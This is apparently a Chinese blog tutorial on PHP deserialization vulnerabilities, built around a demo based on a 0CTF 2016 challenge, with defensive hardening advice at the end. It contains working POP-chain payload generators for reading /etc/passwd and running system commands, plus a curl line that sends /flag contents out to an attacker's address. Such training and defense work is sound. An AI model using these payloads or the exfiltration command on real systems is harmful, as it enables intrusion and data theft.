☰
PHP反序列化漏洞实战:从0CTF 2016到POP链构造与防御
2026/10/20 14:50:15 网站建设 项目流程

1. 缘起:为什么一道2016年的题目现在还值得反复练

1.1 从0CTF 2016那道题说起

标题里挂着“0CTF 2016”,不是因为这道题门槛有多高,恰恰相反,它是极少数能把PHP反序列化漏洞最重要的知识点一次性串起来的题目:序列化数据格式、魔术方法触发时机、属性权限的编码方式、POP链的组装思路、payload的构造细节,以及最终如何从一堆表面无害的类里提取出一条完整的利用链。把这些吃透,面试、审计、打比赛基本不会怕同类问题。

0CTF 2016那批Web题里,反序列化相关的题目放到现在看,利用链其实很直白。但当年我复现的时候卡了很久,问题不在原理,而在一个非常细的环节:本地构造payload一切正常,线上却完全没反应。后来排查下来是PHP版本差异加上protected属性在序列化串里的NUL字节处理不对。这种细节,写writeup的人一句话带过,复现的人却能折腾一个晚上。所以这篇东西,我决定把所有步骤掰开揉碎,能踩的坑提前告诉你,能用的脚本直接给你。

1.2 适合谁来读,需要准备什么

这篇内容适合三类人。

第一类是CTF新手,Web方向刚起步,想找一道有代表性的题系统练手。第二类是做代码审计、甲方安全防护的同学,想知道反序列化漏洞在实际项目里怎么出现、怎么利用、怎么拦截。第三类是写PHP项目的开发者,想搞清楚为什么社区一直在喊“不要信任unserialize”。

前置要求不高:懂最基础的PHP语法,会打开终端执行命令就够了。本地不要求复杂环境,我用php-cli加一个极简PHP入口就能完整复现,整个项目一个目录搞定。如果你是零基础,看到O:4:"User":2:{...}这种字符串还完全没概念,那建议你从第2章开始慢慢看,这一章讲得比较细;如果你已经能轻松读懂这类序列化串,直接跳到第4章看实战部分,也不影响理解。

有一点我得提前说清楚:文中用的demo是一个和0CTF 2016反序列化题同思路的等价环境,题目代码是我设计的,但核心逻辑——用户可控的反序列化入口、靠魔术方法触发的危险操作、需要手工组装POP链——和那道题完全一致。练完再去打原题,你会发现思路是通的。

2. PHP对象序列化:先看明白底层格式

2.1 序列化字符串逐字节拆解

要理解反序列化漏洞,第一步是看懂对象序列化出来的字符串长什么样。这里我拿一个最简单的类做例子:

<?php class User { public $name = 'Alice'; public $role = 'guest'; } echo serialize(new User());

输出:

O:4:"User":2:{s:4:"name";s:5:"Alice";s:4:"role";s:5:"guest";}

拆开解释,每一个符号都不是随便写的:

  • O:4:"User":表示这是一个对象,类名长度为4,类名是User。如果是数组,开头会是a:。
  • 2:表示这个对象有2个属性。
  • {...}:大括号里是所有属性的键值对。
  • s:4:"name":键名,字符串类型、长度4、内容是name。
  • s:5:"Alice":键值,字符串类型、长度5、内容是Alice。
  • 后面role和guest同理。

数组的序列化格式和对象很接近:

$a = ['k' => 'v']; echo serialize($a); // a:1:{s:1:"k";s:1:"v";}

其他常见类型也很好认:整数是i:123;,布尔是b:1;,浮点数是d:1.5;,null是N;。要注意的关键点是:s:5后面的“5”必须和实际内容的字节数完全一致,多一个字符少一个字符都会导致解析失败。这是后续手工构造payload时最常见翻车点。

在0CTF 2016这类CTF题目里,你在前端看到的往往不是纯序列化字符串,而是经过base64编码、URL编码或者藏在cookie里的一个值。但不管套了几层编码,解码后的核心一定是这种O:或者a:开头的东西。

2.2 反序列化的完整执行流程

unserialize()拿到一个字符串后,PHP内部会做这样几件事:

  1. 解析字符串,按类型标记还原出对应的值。
  2. 如果类型是对象,就把还原出来的属性挂到一个新创建的对象上。
  3. 如果目标类在环境中已经定义,就直接实例化这个类;如果没定义,PHP会尝试触发自动加载机制,实在加载不到就生成一个没有方法的__PHP_Incomplete_Class占位对象。
  4. 早期的PHP版本里,对象还原后会调用__wakeup()魔术方法(如果存在),现代PHP 7.4以后这个行为有调整,后面会专门说。
  5. 对象在后续生命周期中,一旦引用计数归零、脚本结束或被unset,就触发__destruct()。

这个流程意味着什么?意味着反序列化不是简单的“摆个数据”,它会走完整的对象生命周期。构造函数、wakeup、destruct、tostring,全部是代码路径。如果字符串里的类名和属性值都能被你控制,那调用哪个魔术方法、给方法传什么参数,也就都在你掌控范围之内了。

社区常说“反序列化不是安全的数据交换函数”,本质就在这:它把一个外部输入还原成可执行代码结构。很多人拿它和普通的json_decode对比,但JSON无论怎么解析都只是数组和标量,永远不会自动触发对象方法;而反序列化能完整重建对象,包括对象的类型和属性。

2.3 漏洞本质:反序列化等于半条代码执行

我见过不少从Java转过来做PHP安全的开发者问过类似问题:序列化不是给两个系统传数据用的吗,怎么就变成漏洞了?

关键在这里:序列化机制的本意是信任数据源。PHP的unserialize()默认会创建任何已加载类的对象,而且不会检查这个类和当前业务有没有关系。攻击者不需要写一句PHP代码,只要控制字节串里的类名和属性值,就能把一个普通数据包伪装成任意对象。

举个例子。如果你项目里恰好有一个FileReader类,它有一个__destruct()方法会读文件;而你的程序只是反序列化了一个用户传来的User对象。脚本请求结束时,PHP同样会销毁那个被伪造出来的FileReader对象,从而帮你把任意文件读出来。攻击者没new过类、没调用过任何方法,文件却已经泄露出去了。

所以“反序列化到文件读取”“反序列化到命令执行”的路径并不神秘,核心是三个条件凑齐:可控的类名、可控的属性值、自动触发的魔术方法。这三样一旦具备,就等于在目标代码里埋下一条执行链的一半——你只需要找到另一半用来接住恶意数据的方法。

3. 魔术方法:反序列化漏洞的真正导火索

3.1 常用魔术方法触发时机一览

PHP的魔术方法是在特定场景下会被自动调用的方法,方法名以双下划线开头。和反序列化利用强相关的主要有这些:

方法触发时机利用价值
__wakeup()对象被反序列化还原之后常被用来做属性过滤或重置,绕过它是一个常见考点
__destruct()对象被销毁时,unset、脚本结束、引用归零都会触发最稳定的利用点,脚本请求结束必触发
__toString()对象被当作字符串使用时,比如echo、字符串拼接配合文件读取、代码执行函数很容易出效果
__get($name)访问不可访问或不存在的属性能把“取属性”这种无害操作转换成方法调用
__set($name,$val)给不可访问或不存在的属性赋值赋值操作也能变成方法调用
__call($name,$args)调用不可访问或不存在的对象方法把一次不存在的method调用转换成任意函数回调
__invoke()对象被当作函数调用时$obj()这种写法直接给到可执行点
__isset()/__unset()对不可访问属性执行isset或unset时相对少见,但也是链路的一部分

重点记一下__destruct。哪怕你构造出一个完全没被业务代码引用的对象,只要它成功被反序列化出来,脚本正常结束就会触发它的析构逻辑。这个特性让反序列化利用的稳定性远高于普通逻辑漏洞。实战里我找利用点时,第一优先级永远放在对象生命周期末尾会执行的方法上。

3.2 从魔术方法到POP链的思路

POP链这个概念,借鉴的是Java反序列化里Gadget Chain的思路。翻译成人话就是:你手里有一堆类,每个类单看都人畜无害,但某些类的方法里会调用其他对象的方法或属性。如果能把多个魔术方法按顺序串起来,让A触发B、B触发C、C最终执行system()或file_get_contents(),一条危险调用链就出现了。

这里先看一个简化的两层模型:

class A { public $obj; public function __destruct() { $x = $this->obj; $x(); // 触发$obj的__invoke } } class B { public $arg; public function __invoke() { call_user_func($this->arg, '123'); } }

利用方式:把A的obj属性指向一个B对象。A销毁时执行$this->obj(),因为$obj是对象,PHP会去调用B::__invoke()。而B内部又执行了call_user_func($this->arg, '123'),如果你把arg设为system,那就会执行system('123')。

看着简单,但真实代码里要穿过三四个类才能触达敏感函数,因为目标类通常不会直接出现在反序列化点旁边。你需要自己读代码,识别哪些属性值能控制方法参数,哪个魔术方法能把值传递到下一环。反序列化题最花时间的就是这步找链过程,也是最有意思的地方。

0CTF 2016那类题里,攻击者视角的常规操作是:拿到全部源码,找出所有魔术方法和它们内部调用的代码,然后尝试从某个魔术方法出发,寻找一条能通往敏感函数的路径。这个思维方式和代码审计非常接近,只是多了一个约束——路径起点必须是反序列化能自动触发的入口。

3.3 protected/private属性的NUL字节坑

这是新手在构造payload时翻车率最高的点。PHP属性有三种可见性,序列化后的键名编码完全不同:

  • public $role序列化后键名是s:4:"role"
  • protected $role序列化后键名是s:7:"\0*\0role",注意两个\0中间带一个*号
  • private $role序列化后键名是s:10:"\0ClassName\0role",前缀是所属类名

这里的\0是一个ASCII为0的NUL字节,并不是两个字符“反斜杠0”。在PHP代码里直接写"\0"就能得到它。手工构造payload时,如果原属性是protected,你却只写了role,PHP会把整个键当作不合法数据,可能导致属性值被忽略,甚至直接报解析错误。

这里的坑很隐蔽:在终端shell里打印带NUL字节的序列化串,NUL是不显示的,肉眼看起来可能只是*role,你复制的时候NUL字节就丢了。我在本地调试时的解决办法是写一个PHP脚本生成序列化串,输出前做一次base64_encode(),这样payload的每一字节都能保真。CTF题里前端一般也要求base64编码后再传,这个习惯能帮你避开大量低级错误。

4. 手把手复现:一个可跑起来的实战demo

4.1 demo代码与入口点

我这边用一个和0CTF 2016反序列化题同思路的demo来做完整复现。核心逻辑是:程序提供了一个用户可控的反序列化入口,后端代码里有几个表面无害的类,但其中一个类的方法存在可利用的危险行为。代码结构如下:

demo/ ├── index.php # 入口,接收并反序列化参数 ├── classes.php # 几个看起来无害的类 └── gen_payload.php # 本地生成payload的脚本

classes.php内容:

<?php class User { public $name; public $greeting; public function __destruct() { echo $this->greeting . "\n"; } } class FileReader { public $filename; public function __toString() { return file_get_contents($this->filename); } } class Executor { public $cmd; public function __destruct() { system($this->cmd); } }

index.php:

<?php require 'classes.php'; $data = isset($_GET['data']) ? $_GET['data'] : ''; if ($data !== '') { $decoded = base64_decode($data); $obj = unserialize($decoded); if ($obj instanceof User) { echo "欢迎," . $obj->name . "\n"; } }

题目逻辑是想接收一个合法的User对象,然后输出用户名。但注意,unserialize可不会关心你“希望”收到什么对象,它只认字符串描述出来的对象长什么样。

先跑一个正常数据验证环境能用:

<?php require 'classes.php'; $u = new User(); $u->name = 'test'; $u->greeting = 'hello'; echo base64_encode(serialize($u));

把这个脚本输出的base64串拼到?data=后面,访问后能看到欢迎,test和hello正常显示。

4.2 第一步:定位反序列化可控点

拿到一个目标,第一步不是找漏洞,而是找所有unserialize出现在哪、它的入参是否可控。在这个demo里很直接,入口就是$_GET['data'],base64解码后直接给了unserialize。

现实的CTF题目里不会这么直白,你往往需要扫目录、读源码、上传文件、或者理解业务逻辑后才能定位到触发点。我整理过几种最常见可控点:

  • cookie里存了base64编码的序列化数据,后端每次请求都unserialize($_COOKIE['user'])。
  • 数据库某个字段存的是序列化内容,攻击者通过SQL注入把字段值改掉,后端在某个业务流程里反序列化这个字段。
  • 用户上传一个Phar文件,代码里用phar://协议去读取文件信息,PHP解析Phar元数据时会自动反序列化,这个进阶玩法不需要代码里直接出现unserialize,后面可以单独研究。

定位的关键词很简单:全项目搜索unserialize(,逐个查看第一个参数来自哪里。如果来自网络请求、文件上传、数据库可变字段,就属于可控反序列化点。另外要留意是否做了过滤,如果只是简单替换了O:开头的字符串,往往还能用C:、a:或者其他类型标签绕过。

4.3 第二步:构造第一条POP链,实现任意文件读取

回到demo。User::__destruct()里有一句echo $this->greeting。如果把greeting设成一个FileReader对象,echo时PHP会尝试把对象转成字符串,从而自动调用FileReader::__toString();而__toString()里的file_get_contents($this->filename)会把任意文件内容读出来当字符串返回。

于是POP链就成型了:User::__destruct() -> FileReader::__toString() -> file_get_contents()。

写一个payload生成脚本:

<?php require 'classes.php'; $u = new User(); $u->name = 'poc'; $u->greeting = new FileReader(); $u->greeting->filename = '/etc/passwd'; echo base64_encode(serialize($u));

执行脚本,把输出的base64串放到?data=参数里,你会发现目标主机/etc/passwd的内容被完整打印在了响应里。为什么能打印?因为__destruct里的echo把文件内容当作字符串输出了,而demo的PHP脚本把输出直接写进了HTTP响应,数据就回流到你这里了。

这里要特别强调:这条链没有调用任何业务方法,没有主动触发任何功能,仅仅是在一个User对象的属性里塞了一个FileReader对象。这正好体现了我前面说的核心——反序列化利用的重点是“自动执行”,攻击者只需要负责“组装”。

4.4 第三步:升级利用,实现命令执行

读文件只是第一步,出题人不会只给/etc/passwd,真正目标是flag。demo里我故意放了一个Executor类,它有一个__destruct方法直接调用了system($this->cmd)。

如果直接用这个类,整条链都不用经过User,因为Executor::__destruct()本身就是危险终点。payload脚本:

<?php require 'classes.php'; $e = new Executor(); $e->cmd = 'id;whoami'; echo base64_encode(serialize($e));

请求后能看到命令输出。

但真实的CTF题目里极少提供这么直接的“危险类”。更多情况下你需要靠__call、__invoke、call_user_func这些通用能力,把执行点逐步拼出来。第3章里我写的A-B-C三层链就是这种思路。真实题目里还常见“能执行命令,但命令结果没有页面回显”的情况,俗称盲执行。这时候就得打外带:把命令结果写到web目录下一个可访问文件,或者让目标机器反向连接到你控制的服务。本地练习时可以用system('curl http://你的地址/?flag=cat /flag 2>/dev/null')这类命令,把结果带到外部日志里,记得先做URL编码或base64,避免特殊字符破坏payload结构。

4.5 构造payload的自动化技巧

手工拼序列化字符串非常容易出错,我的建议是在本地用PHP脚本生成。核心就几条:

  • 用serialize($obj)正常生成,不要手写。
  • 生成后做base64_encode(),传输过程中不丢字节。
  • 需要修改属性值时,直接对对象赋值再重新序列化,别想着改字符串。
  • 如果一个payload需要频繁调整,就把所有类的定义写进一个公共文件里,每次修改只改对象属性赋值那几行。

实战中还有个高级技巧:改造已有对象,而不是从零构造整条链。你可以先反序列化一个正常对象,通过反射机制修改它的属性值,再序列化回去。整个过程不用关心类定义细节,PHP会处理好属性编码。这个技巧特别适合处理那些属性特别多、直接手写容易漏属性的类。

另外一个重要提醒:payload必须以目标环境实际类的定义为准。同样的类名,你本地定义的属性和目标环境定义的属性可见性不同,序列化结果就会完全不同。这也是为什么反序列化题经常需要你先把目标源码完整读一遍,还原出真实类结构。

5. 复现中的坑与调试实录

5.1 常见报错和处理办法

反序列化payload构造时最常碰到的报错,我整理成了表格:

报错信息原因解决办法
Notice: unserialize(): Error at offset ...序列化串格式不对,属性名或类型长度和实际内容不匹配用serialize()生成payload,别手写;检查NUL字节
Warning: unserialize(): Class ... not found序列化里提到的类没有在当前PHP进程加载确认源文件include了对应类,或者想办法触发自动加载
Fatal error: Uncaught Error: Call to undefined method反序列化出的对象缺少方法,通常是__PHP_Incomplete_Class大概率类没加载成功,手动include或调整自动加载规则
命令不执行但程序不报错系统禁用了危险函数,或者属性键没匹配上用var_dump($obj)检查属性,确认键名是否正确

最容易迷惑的是第一种。Error at offset经常出现在手写payload时,多一个空格、少一个分号都会导致PHP解析到某个位置后找不到预期结构。解决方式不复杂:先serialize()一个合法对象看输出格式,再照着改,别空想。

5.2 魔术方法为什么没触发

反序列化之后魔术方法没触发,常见原因有这几种。

第一,__wakeup的历史绕过技巧已经失效。早期PHP版本里,序列化串中对象的属性数量比实际属性数量多时,__wakeup可能不执行,攻击者靠这个绕过过滤逻辑。PHP 7.4开始这个缺陷被修复,__wakeup在完整对象上依然会执行,老办法拿到新环境不管用。

第二,__toString不是任何时候都触发。只有对象真正被放进字符串上下文才触发,比如echo $obj、"$obj"、strlen($obj)。如果你只是var_dump($obj),它不会执行。这个细节在调试时很容易误导人——代码明明有__toString,为什么没有输出?先确认触达那行代码时对象的类型是不是你预期的那样。

第三,__destruct的触发时间点不稳定。脚本结束时一定会触发,但如果在某个方法内部临时创建了一个对象,引用计数归零的瞬间就会触发。如果你同时伪造了多个对象,销毁顺序可能影响输出结果,需要逐个调试。

排查这类问题最笨也最有效的办法是打点:在每个魔术方法第一行加echo "HIT\n";,复现失败时能立刻看出哪一步没走到。我在CTF复现里也常这么干,比猜快得多。

5.3 本地复现和线上环境不一致怎么办

0CTF那类题线上环境多半是Linux加PHP老版本,你本地如果是Windows加PHP新版本,很容易出现“本地打得顺利,线上没反应”的情况。

出现差异时,按下面顺序排查:

  • 类名大小写是否完全一致。PHP的类名不区分大小写,但反序列化时类名匹配是严格区分大小写的。
  • PHP版本对魔术方法的语义差异。__wakeup绕过就是最典型例子,老技巧新环境失效。
  • 目标环境是否禁用了危险函数。很多CTF题目会在disable_functions里屏蔽system、exec、passthru等函数,本地能用不代表线上能用。
  • 属性数量不匹配的行为差异。老版本对序列化串里属性数量和实际数量不一致的情况比较宽容,新版本可能直接报错。

最稳妥的方式是用Docker拉一个和题目年代匹配的PHP镜像。0CTF 2016那个时代PHP 5.x和7.0居多,我通常用php:5.6-apache做练习。Docker环境隔离,不会弄脏本机,而且镜像拉下来就带apache和PHP,复现CTF的Web题非常方便。

6. 从题目到现实:反序列化漏洞的防御与加固

6.1 代码层面的修复清单

学完利用必须反手学防御,这是代码审计的基本自觉。落到实践,底线就这几条。

第一,不要对不可信数据调用unserialize()。这是最根本的一条。所有来自网络请求、cookie、参数、外部输入源的序列化字符串,一律不能直接交给unserialize。

第二,如果业务确实需要,用白名单约束允许的类。PHP 7以上支持第二个参数:

$data = unserialize($input, ['allowed_classes' => ['User', 'Profile']]);

或者干脆写['allowed_classes' => false],这样反序列化出来只会是__PHP_Incomplete_Class,没有方法,彻底堵死魔术方法触发。

第三,给序列化数据加HMAC签名。序列化前先拼接一个只有服务端知道的密钥做签名,反序列化前验证签名。这样攻击者即使能改cookie内容,也伪造不出合法签名。

第四,能用JSON就尽量别用对象序列化。json_encode/json_decode没有对象重建的概念,不会触发魔术方法,性能还好很多。业务场景里如果只是为了临时存一个数组,JSON完全够用。

6.2 如何排查存量代码里的可疑反序列化点

老项目里已经跑着的unserialize怎么处理?我通常按这个清单来:

  • 全局搜索unserialize(,逐个判断入参来源,分成三类:用户直接输入,高危;来自数据库但可以被用户间接修改,中危;服务端生成的固定序列化数据,低危。
  • 每个点都看反序列化之后的变量流向:会不会被echo、会不会被include、会不会被当作函数调用、会不会被写入文件。这些都是能接住魔术方法后续动作的地方。
  • 检查相邻代码里所有魔术方法,重点看__destruct、__toString、__call、__invoke。哪怕类本身没恶意意图,只要存在某条路径能由属性值触达危险函数,就要标记出来。
  • 借助自动化扫描工具做初步筛查。开源生态里有一些PHP反序列化扫描器能识别常见危险模式,但工具只是辅助,POP链的核心是业务逻辑,最终还是要靠人读代码。

这一步做的越早,上线后出问题的概率越低。很多反序列化漏洞在代码审查阶段就能发现,根本走不到线上。

6.3 运行时兜底与监控

如果代码审计一时半会儿改不完,还能用一些运行态手段降低风险。

在入口层可以统一拦截可疑序列化特征,比如请求参数出现O:开头的base64串,加一条规则告警或者直接拦截。拦不全,但能挡住绝大多数批量扫描和脚本利用。

在反序列化发生的代码位置记录调用栈和原始数据。反序列化利用的payload通常结构异常,留好日志方便事后追溯攻击路径。

对敏感函数system、exec、file_get_contents的调用来源做统计,出现异常来源时告警。PHP项目可以用扩展或者框架中间件做这类Hook。

定期升级PHP版本。前面说了很多老版本反序列化的行为差异,新版在语义上做了大量调整和修复,升级本身就是成本最低的加固措施。

这些都是防御兜底,不是银弹。真正的安全原则始终是那句:不信任数据,就不反序列化。


整套复现做下来,我最深的感触是:反序列化漏洞本身并不难,难的是从一堆业务代码里找出那条隐藏的POP链。0CTF 2016那道题之所以经典,不是因为它用了多高深的技巧,而是它逼着你去把PHP对象模型吃透。练完这篇如果还不过瘾,可以往三个方向继续扩展:一是研究phar://触发反序列化的玩法,它连显式的unserialize都不需要;二是去分析现代PHP框架自动加载机制对反序列化利用的影响;三是拿JAVA反序列化来对比学习,你会发现两种语言在POP链的设计思路上惊人相似。练题只是手段,真正要掌握的是“怎么从代码结构里找出执行路径”这种通用能力。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询